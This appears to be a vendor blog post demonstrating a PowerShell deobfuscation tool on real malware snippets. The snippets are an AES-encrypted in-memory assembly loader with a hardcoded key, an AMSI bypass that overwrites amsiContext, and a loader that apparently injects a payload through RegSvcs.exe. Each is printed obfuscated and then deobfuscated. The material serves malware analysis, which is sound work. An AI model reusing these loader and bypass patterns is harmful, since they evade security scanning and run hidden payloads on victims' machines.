PowerShell code is often seen in malware. To help the analysis of such code we have just released the “PowerShell Beautifier” package. The package is available to all commercial licenses of Cerbero Suite Advanced.
The package features a complete parser for the PowerShell language and has many deobfuscation capabilities. If your organization is interested in integrating our PowerShell beautifier in a cloud service, please contact us.
The beautifier can be invoked as an action: Ctrl+R -> PowerShell -> PowerShell Beautifier.
Let’s look at an example of obfuscated PowerShell code:
$mcWPL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($jBqHb in $mcWPL) { if ($jBqHb.StartsWith(':: ')) { $qUflk = $jBqHb.Substring(3); break; }; };$AKzOG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qUflk);$GTqqO = New-Object System.Security.Cryptography.AesManaged;$GTqqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GTqqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GTqqO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');$GTqqO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JYh62EWEKCuIH7WrUJ0VdA==');$QTfFw = $GTqqO.CreateDecryptor();$AKzOG = $QTfFw.TransformFinalBlock($AKzOG, 0, $AKzOG.Length);$QTfFw.Dispose();$GTqqO.Dispose();$xVFCH = New-Object System.IO.MemoryStream(, $AKzOG);$qGLhv = New-Object System.IO.MemoryStream;$wRtOX = New-Object System.IO.Compression.GZipStream($xVFCH, [IO.Compression.CompressionMode]::Decompress);$wRtOX.CopyTo($qGLhv);$wRtOX.Dispose ();$xVFCH.Dispose();$qGLhv.Dispose();$AKzOG = $qGLhv.ToArray();$VBqqY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($AKzOG);$ReoQh = $VBqqY.EntryPoint;$ReoQh.Invoke($null, (, [string[]] ('%*')))
The code is actually a single line but we split it for better visualization.
The deobfuscated code:
$read_all_text_result = [System.IO.File]::ReadAllText('%~f0').Split([Environment]::NewLine); foreach ($item in $read_all_text_result) { if ($item.StartsWith(':: ')) { $substring_result = $item.Substring(3); break; }; }; $from_base64_string_result = [System.Convert]::FromBase64String($substring_result); $aes_managed = New-Object System.Security.Cryptography.AesManaged; $aes_managed.Mode = [System.Security.Cryptography.CipherMode]::CBC; $aes_managed.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $aes_managed.Key = [System.Convert]::FromBase64String('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4='); $aes_managed.IV = [System.Convert]::FromBase64String('JYh62EWEKCuIH7WrUJ0VdA=='); $create_decryptor_result = $aes_managed.CreateDecryptor(); $transform_final_block_result = $create_decryptor_result.TransformFinalBlock($from_base64_string_result, 0, $from_base64_string_result.Length); $create_decryptor_result.Dispose(); $aes_managed.Dispose(); $memory_stream = New-Object System.IO.MemoryStream(, $transform_final_block_result); $memory_stream_2 = New-Object System.IO.MemoryStream; $gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, [IO.Compression.CompressionMode]::Decompress); $gzip_stream.CopyTo($memory_stream_2); $gzip_stream.Dispose(); $memory_stream.Dispose(); $memory_stream_2.Dispose(); $to_array_result = $memory_stream_2.ToArray(); $load_result = [System.Reflection.Assembly]::Load($to_array_result); $entry_point = $load_result.EntryPoint; $entry_point.Invoke($null, (, [string[]]'%*'))
The code is now very easy to follow. Not only has the beautifier solved all obfuscated expressions such as:
'txeTllAdaeR'[-1..-11]
It also gave meaningful names to all the variables.
Deobfuscation isn’t limited to the code itself, but expands to expandable strings as well.
Expandable strings in PowerShell are strings delimited by the “” or @””@ syntax and can contain variables and code which is executed.
Let’s take the following malicious script:
$iFKhD=$null;$uozo="$([CHAr](83+9-9)+[chAR](121)+[ChAR](115)+[ChaR]([bytE]0x74)+[ChaR]([BytE]0x65)+[chAR]([BYte]0x6d)).$(('Mãná'+'geme'+'nt').noRMALIzE([cHaR](54+16)+[ChAr]([bYtE]0x6f)+[chaR](114)+[CHAR]([ByTE]0x6d)+[cHAR]([byTE]0x44)) -replace [ChAR]([bytE]0x5c)+[cHAR](1+111)+[chAr](123*26/26)+[ChAr](77*40/40)+[cHAR](110)+[chaR]([bytE]0x7d)).$(('Áutôm'+'àtìón').NORmaLiZE([chAr]([bytE]0x46)+[cHAR]([ByTE]0x6f)+[ChAR](114)+[cHar]([byte]0x6d)+[cHAr](4+64)) -replace [chAr](52+40)+[CHar](112*83/83)+[ChAR](103+20)+[chAR](77)+[ChAR](110*85/85)+[Char]([ByTE]0x7d)).$([cHAR]([Byte]0x41)+[CHar](109*59/59)+[cHAR](115+36-36)+[CHAR]([byTe]0x69)+[CHar](85*43/43)+[ChaR](73+43)+[cHAR]([bYte]0x69)+[ChAR]([Byte]0x6c)+[CHaR]([BYte]0x73))";$vemvidivugxsktsxu="+('jswt'+'kvz').normAlIZE([CHAr]([BYTE]0x46)+[CHaR]([bYte]0x6f)+[cHAr]([bYTe]0x72)+[cHAR](109*90/90)+[chAr](68))-replace [cHAR](92)+[chAR](112)+[ChAr]([BYTe]0x7b)+[char]([bYTe]0x4d)+[CHar](110+21-21)+[CHar]([bYTE]0x7d)";[Threading.Thread]::Sleep(435);[Runtime.InteropServices.Marshal]::("$([CHar]([BytE]0x57)+[CHaR]([BYTe]0x72)+[CHAR]([bYtE]0x69)+[ChAr](62+54)+[CHar]([BytE]0x65)+[Char]([BYte]0x49)+[CHAR](110)+[cHAR](78+38)+[ChAR](51*47/47)+[char](50*22/22))")([Ref].Assembly.GetType($uozo).GetField("$([cHAR](97)+[CHAR]([BYTe]0x6d)+[CHAr]([BYtE]0x73)+[CHaR]([byTe]0x69)+[Char](67+2-2)+[CHaR]([ByTe]0x6f)+[cHAR](110*100/100)+[CHaR]([bYTE]0x74)+[CHAR](29+72)+[ChAR](120*3/3)+[cHAR]([byTe]0x74))",[Reflection.BindingFlags]"NonPublic,Static").GetValue($iFKhD),0x2aaa53a2);
Deobfuscated:
$null_copy = $null; $var_1 = "System.Management.Automation.AmsiUtils"; $var_2 = "+('jswt'+'kvz').normAlIZE([CHAr]([BYTE]0x46)+[CHaR]([bYte]0x6f)+[cHAr]([bYTe]0x72)+[cHAR](109*90/90)+[chAr](68))-replace `n[cHAR](92)+[chAR](112)+[ChAr]([BYTe]0x7b)+[char]([bYTe]0x4d)+[CHar](110+21-21)+[CHar]([bYTE]0x7d)"; [Threading.Thread]::Start-Sleep 435; [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext", [Reflection.BindingFlags]"NonPublic,Static").GetValue($null), 715805602);
The code inside the expandable string has been deobfuscated and became:
"System.Management.Automation.AmsiUtils"
One of the most powerful features of the beautifier is variable replacement. Let’s look at the final part of a malicious script:
$T = 'Get' $M = $T + 'Method' $I = 'Invoke' $T = $T + 'Type' $L = 'Load' $Q0 = [Reflection.Assembly] $B = $Q0::$L($MyS) $B = $B.$T('NewPE2.PE') $B = $B.$M('Execute') $Ub = 'C:\Windows\Microsoft' $z = $Ub + '.NET\Framewor' $VT = $z + 'k\v4.0.30' $XQ = $VT + '319\RegSvcs.exe' $B = $B.$I($null,[object[]] ($XQ,$serv))
With variable replacement enabled:
$var_4 = 'Get' $var_5 = 'GetMethod' $var_6 = 'Invoke' $var_7 = 'GetType' $var_8 = 'Load' $var_9 = [Reflection.Assembly] $load_result = [Reflection.Assembly]::Load($x_result) $get_type_result = $load_result.GetType('NewPE2.PE') $get_method_result = $get_type_result.GetMethod('Execute') $var_10 = 'C:\Windows\Microsoft' $var_11 = 'C:\Windows\Microsoft.NET\Framewor' $var_12 = 'C:\Windows\Microsoft.NET\Framework\v4.0.30' $var_13 = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe' $invoke_result = $get_method_result.Invoke($null, [object[]]('C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe', $x_result_2))
In particular, relevant code lines like:
$B = $Q0::$L($MyS) $B = $B.$T('NewPE2.PE') $B = $B.$M('Execute') $B = $B.$I($null,[object[]] ($XQ,$serv))
Are now easy to read:
$load_result = [Reflection.Assembly]::Load($x_result) $get_type_result = $load_result.GetType('NewPE2.PE') $get_method_result = $get_type_result.GetMethod('Execute') $invoke_result = $get_method_result.Invoke($null, [object[]]('C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe', $x_result_2))
In the upcoming weeks we’ll post more samples of deobfuscated PowerShell scripts.